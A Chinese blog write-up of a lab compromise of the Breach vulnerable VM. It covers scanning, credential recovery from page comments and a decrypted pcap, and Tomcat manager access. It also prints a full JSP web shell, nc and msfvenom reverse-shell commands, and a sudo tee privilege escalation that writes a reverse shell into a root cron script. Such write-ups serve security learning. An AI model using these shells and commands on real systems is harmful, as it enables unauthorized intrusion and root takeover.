Breach靶机

Breach靶机-学习笔记

0x01 信息收集


1 . 工具

arp-scan、nmap、masscan

2. 主机探测

arp-scan(ARP 扫描和指纹识别工具):可以构建并发送ARP请求到指定的IP地址,并且显示返回的任何响应。arp-scan可用来发现本地网络上的IP主机。它可以发现所有主机,包括那些已经阻止所有IP访问,如已经打开防火墙和系统入口过滤器的主机。


nmap:一款网络扫描和主机侦测的非常有用的工具。

  1. nmap ip:如果是root用户,无参数扫描等价于 sS 参数扫描(SYN,半连接);否则,无参数扫描等价于 sT 参数扫描(TCP,完整连接)。
  2. nmap -p端口号 IP地址: p 参数表示端口,标准写法后面跟的端口号之间没有空格。但是如果写一个空格也并无妨。
  3. -sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。
  4. -sn: Ping Scan 只进行主机发现,不进行端口扫描。
  5. -Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。
  6. -PS/PA/PU/PY[portlist]: 使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现。
  7. -PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。
  8. -PO[protocollist]: 使用IP协议包探测对方主机是否开启。
  9. -sP:Ping 指定范围内的 IP 地址
  10. -n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。
  11. –dns-servers <serv1[,serv2],…>: 指定DNS服务器。
  12. –system-dns: 指定使用系统的DNS服务器
  13. –traceroute: 追踪每个路由节点

masscan:是为了尽可能快地扫描整个互联网而创建的,根据其作者robert graham,这可以在不到6分钟内完成,每秒大约1000万个数据包。

  1. masscan ip -p0-65535 - rate 1000000
    

主机探测:

  1. arp-scan -l

扫描结果:

root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.110.1    00:50:56:c0:00:01    VMware, Inc.
192.168.110.140    00:0c:29:f9:df:8b    VMware, Inc.
192.168.110.254    00:50:56:e0:46:73    VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.322 seconds (110.25 hosts/sec). 3 responded


其中192.168.110.140为我们的目标靶机

  1. nmap -sn 192.168.110.0/24
root@kali:~# nmap -sn 192.168.110.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-07 09:48 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.110.1
Host is up (0.00016s latency).
MAC Address: 00:50:56:C0:00:01 (VMware)
Nmap scan report for 192.168.110.140
Host is up (0.00017s latency).
MAC Address: 00:0C:29:F9:DF:8B (VMware)
Nmap scan report for 192.168.110.254
Host is up (0.000099s latency).
MAC Address: 00:50:56:E0:46:73 (VMware)
Nmap scan report for 192.168.110.119
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.01 seconds
  1. masscan -p0-65535 192.168.110.0/24 --rate==10000
root@kali:~# masscan -p0-65535 192.168.110.140 --rate==1000
CONF: non-digit in rate spec: rate==1000

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-07-07 13:58:38 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
rate:  0.10-kpps, 21.00% done,   0:09:01 remaining, found=0       rate:  0.10-kpps, 21.09% done,   0:09:03 remrate:  0.10-kpps, 86.86% done,   0:01:18 remaining, found=0       rate:  0.10-kpps, 86.96% done,   0:01:25 rem

3. 端口扫描

使用nmap进行端口扫描:

nmap -p0-65535 192.168.110.140

64676/tcp open   unknown
64677/tcp open   unknown
64678/tcp open   unknown
64679/tcp open   unknown
64680/tcp open   unknown
64681/tcp open   unknown
64682/tcp open   unknown
64683/tcp open   unknown
64684/tcp open   unknown
64685/tcp open   unknown
64686/tcp open   unknown
64687/tcp open   unknown
64688/tcp open   unknown
64689/tcp open   unknown
64690/tcp open   unknown
64691/tcp open   unknown
64692/tcp open   unknown
64693/tcp open   unknown
64694/tcp open   unknown


扫描显示所有端口打开


这里在介绍一个python的套件工具:

sparta: 是一款可以通过帮助渗透测试者分阶段扫描和枚举来简化网络基础设施渗透测试的python GUI应用。通过指向和点击这些工具套件以及简便地显示所有工具扫描结果来允许测试者节省时间。花越少的时间在设置命令和工具上,就可以有更多的时间花在聚焦分析结果上。


可以直接在kali 搜索SPARTA,或者在 applications—information gathering –sparta 运行打开。

将192.168.110.140加入后进行扫描,进行扫描后,可以看到services每个端口运行的服务,以及使用nikto扫描的结果,同时还有screenshot抓取的80端口网站的相应的banner图。这个工具还支持将扫描的端口直接发送到九头蛇进行一个爆破(ssh等),通过这个工具我们并没有将mysql以及ssh爆破出来密码。同时这个工具还可以探测到网页的截屏。

0x02 漏洞挖掘

1.根据提示信息登录cms后台

根据上面sparta扫描的nikto模块我们可以看到:

  • Nikto v2.1.6

  • - Target IP:          192.168.110.140
    - Target Hostname:    192.168.110.140
    - Target Port:        80
    - Start Time:         2019-07-08 05:07:06 (GMT-4)
    
    ------
    
    - Server: Apache/2.4.7 (Ubuntu)
    - Server leaks inodes via ETags, header found with file /, fields: 0x44a 0x534a04f49139d 
    - The anti-clickjacking X-Frame-Options header is not present.
    - The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
    - The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
    - No CGI Directories found (use '-C all' to force check all possible dirs)
    - IP address found in the 'location' header. The IP is "127.0.1.1".
    - OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1/images/".
    - Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
    - Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
    - OSVDB-3268: /images/: Directory indexing found.
    - OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
    - OSVDB-3233: /icons/README: Apache default file found.
    - 7535 requests: 0 error(s) and 11 item(s) reported on remote host
    - End Time:           2019-07-08 05:07:26 (GMT-4) (20 seconds)
    
    ------
    
    - 1 host(s) tested
    

上面只是扫描到一个images文件夹,貌似没有什么有用的线索,在ctf中,通常在html中含有一些重要的注释,按F12打开源码,发现存在一个注释


绿色的应该是一个加密字符串,通过burpsuit或者一些在线解密的网站进行一个解密,进行二次base64解密之后

得到了一个pgibbons:damnitfeel$goodtobeagang$ta,貌似是一个密码,然后点击图片跳转到http://192.168.110.140/initech.html,然后在源码中看到需要

大概就是有个邮件有很重要的内容,然后我们在burpsuit进行一个爬虫爬取,

发现存在一个impresscms的路径,impresscms是一个开源的cms而且版本是2017年的,先搜索下是否存在已知漏洞,exploit-db.com查找impress cms漏洞:发现ImpressCMS 1.3.9 SQL注入漏洞 : https://www.exploit-db.com/exploits/46239,但是该页面目前没有权限访问,无法进行注入。

刚才源码注释中提示,有一个重要的邮件比较重要,我们打开192.168.110.140/impresscms

发现有个登录的表单,前面我们解密了一个疑似密码的字符串,将其输入pgibbons:damnitfeel$goodtobeagang$ta,其中前面pgibbons是用户名,damnitfeel$goodtobeagang$ta是密码,登入后。根据刚才的提示,有邮件很重要,打开三封邮件,其中一封

主要内容:有一个peter的SSL证书被保存在192.168.110.140/.keystore,访问路径下载ssl证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式。我们在右侧的搜索框搜索ssl,发现一个content

大概意思就是存在一个红队攻击留下的pcap的包,然后告诉了这个包的路径,”They told me the alias, storepassword and keypassword are all set to ‘tomcat’ “ 别名、Keystore密码、key密码都设置成 tomcat。`

由此推测:a.这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了密码;b.系统中可能存在tomcat。

接下来下载这个http://192.168.110.140/impresscms/_SSL_test_phase1.pcap`。

2.抓取密钥进入tomcat管理后台

导入流量抓包文件、SSL证书到Wireshark

  1. 查看keystore这个密钥库里面的所有证书,命令keytool --list -keystore keystore

  1. 从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12 的证书,命令:keytool -v -importkeystore -srckeystore keystore -srcalias tomcat -destkeystore myp12file.p12 -deststoretype PKCS12
  2. 将.p12证书导入Wireshark,将证书导入Wireshark:在Wireshark中打开流量包文件_SSL_test_phase1.pcap,选择菜单:编辑—–>首选项—->Protocols—->SSL,点击右边的Edit,输入:192.168.110.140 8443 http 点击选择证书文件 输入密码tomcat

导入后可以看到解密的数据,发现tomcat的后台地址

接下来选中这个包,然后右击鼠标点击follow,跟踪http流,发现base64编码的用户名密码,

dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC进行解码,得到Tomcat登录用户名密码为,用户名tomcat,密码:Tt\5D8F(#!*u=G)4m7zB

0x03 登录tomcat后台拿shell

tomcat管理地址为:https://192.168.110.140:8443/_M@nag3Me/html,登陆后,然后部署war包getshell.

1.制作war后门

jsp木马:

<%@ page import="java.util.*,java.io.*" %>
<% if (request.getremoteaddr() !="4.4.4.4" ) { response.senderror(httpservletresponse.sc_not_found) return; } %>


Laudanum JSP Shell


Commands with JSP


If you use this against a Windows box you may need to prefix your command with cmd.exe /c
<% if (request.getparameter("cmd") !="null)" { out.println("command: " + request.getparameter("cmd") "
"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

Copyright © 2012, Kevin Johnson and the Laudanum team.
Written by Tim Medin.
Get the latest version at laudanum.secureideas.net.

将jsp木马压缩,然后修改后缀名为war。上传。但是成功可以连接,但是当过一两分钟,发现webshell就会被消失,估计是存在杀软或者其他的东东。那么我们只能进行一个反弹shell了

2.反弹shell

反弹shell的几种方式:https://www.anquanke.com/post/id/87017

0x01 通过nc反弹shell

在kali上我们进行一个监听,nc -lvp 5555,然后在上面的webshell中执行:nc -e /bin/bash 192.168.110.139 5555,成功获取cmdshell,

0x02 通过bash反弹shell

0x03 通过python反弹

0x04 通过msf反弹

先生成jsp木马:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.139 LPORT=1234 R >text.jsp

然后msf设置监听:

use exploit/multi/handler
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST 192.168.110.139
set LPORT 1234
set ExitOnSession false
exploit -j -z

然后将jsp进行压缩修改压缩名为war后缀,上传后访问192.168.110.140/text/text.jsp,成功弹出shell

0x04 提升权限

由于nc是交互式shell,很多时候不够友好,经常使用前各种方法进行虚拟终端环境获取的话,会发现存在一个问题,就是我们即使获取了目标虚拟终端控制权限,但是往往会发现交互性非常的差,就是发现这个虚拟回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种:

问题1: 获取的虚拟终端没有交互性,我们想给添加的账号设置密码,无法完成。

问题2:标准的错误输出无法显示,无法正常使用vim等文本编辑器等;

问题3: 获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。

我们使用python的pty模块,来获取一个标准的虚拟终端环境

python -c 'import pty;pty.spawn("/bin/bash")'

命令详解:python 默认就包含有一个pty的标准库。

https://p4.ssl.qhimg.com/t014c435297575be7d6.png

1.信息收集

使用cat /etc/passwd获取本地用户信息,

tomcat6@Breach:~$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
milton:x:1000:1000:Milton_Waddams,,,:/home/milton:/bin/bash
tomcat6:x:104:112::/usr/share/tomcat6:/bin/false
colord:x:105:114:colord colour management daemon,,,:/var/lib/colord:/bin/false
mysql:x:106:116:MySQL Server,,,:/nonexistent:/bin/false
blumbergh:x:1001:1001:Bill Lumbergh,,,:/home/blumbergh:/bin/bash

查看内核版本找找提权漏洞,发现并没有。

查看网站的配置信息:

cd /var/www/5446

ls

cat fe

可以看到数据库的密码

然后登陆数据库;

然后解密milton的密码为:

2.在根目录没有发现什么有用信息,然后查看当前账号历史运行过的命令:cat .bash_history

发现运行过su blumbergh,同时使用sudo -l,列出目前用户可执行与无法执行的指令.

发现不能使用sudo,估计是权限不够,然后我们继续查找线索。

记得我们用nikto扫描到一个文件夹,当时是一些图片,将这些图片进行下载,然后探测其元信息,发现

其中注释coffeestains可能是blumbergh的密码,尝试登陆,nice!!!

继续收集信息,查看当前用户blumbergh的命令历史记录,发现

cd /usr/share/cleanup和cat tidyup.sh,

发现sh脚本会删除我们上传的webshell。

使用sudo -l,列出目前用户可执行与无法执行的指令

blumbergh@Breach:/usr/share/cleanup$ sudo -l
sudo -l
Matching Defaults entries for blumbergh on Breach:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User blumbergh may run the following commands on Breach:
    (root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh

使用ls -l /usr/share/cleanup/tidyup.sh,查看脚本权限,发现root用户具有写权限,其他用户只有可执行权限

blumbergh@Breach:/usr/share/cleanup$ ls -l tidyup.sh
ls -l tidyup.sh
-rwxr-xr-x 1 root root 289 Jun 12  2016 tidyup.sh

2.使用配置不当提权

因为blumbergh可以使用root的权限执行/usr/bin/tee,然而tee可以修改文件tidyup.sh,所以我们就可以将我们的恶意命令写入tidyup.sh,这个脚本三分钟就会执行,就会反弹出shell,而这个shell也就因为脚本的权限就是一个root权限的shell.先切换到根目录,因为/usr/share/cleanup中我们没有写入权限:

echo "nc -e /bin/bash 192.168.110.139 8888" > shell.txt

然后使用

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh将其写入,

打印tidyup.sh内容

然后kali 进行监听,

执行脚本,弹回shell。


  转载请注明: 星晴 Breach靶机

 上一篇
Python 3 Seaborn 数据可视化基础介绍Matplotlib 是支持 Python 语言的开源绘图库,因为其支持丰富的绘图类型、简单的绘图方式以及完善的接口文档,深受 Python 工程师、科研学者、数据工程师等各类人士的喜欢
2019-11-26 starjian
下一篇 
栈和队列算法题 栈和队列算法题
栈和队列的算法 1.设计一个栈,在实现栈的基本功能的基础上,再实现返回栈中的最小元素的操作''' 设计一个栈,在实现栈的基本功能的基础上,再实现返回栈中的最小元素的操作 1. 要求pop、push、getMin操作的时间复杂度都是O(1)
2019-11-16 starjian
  目录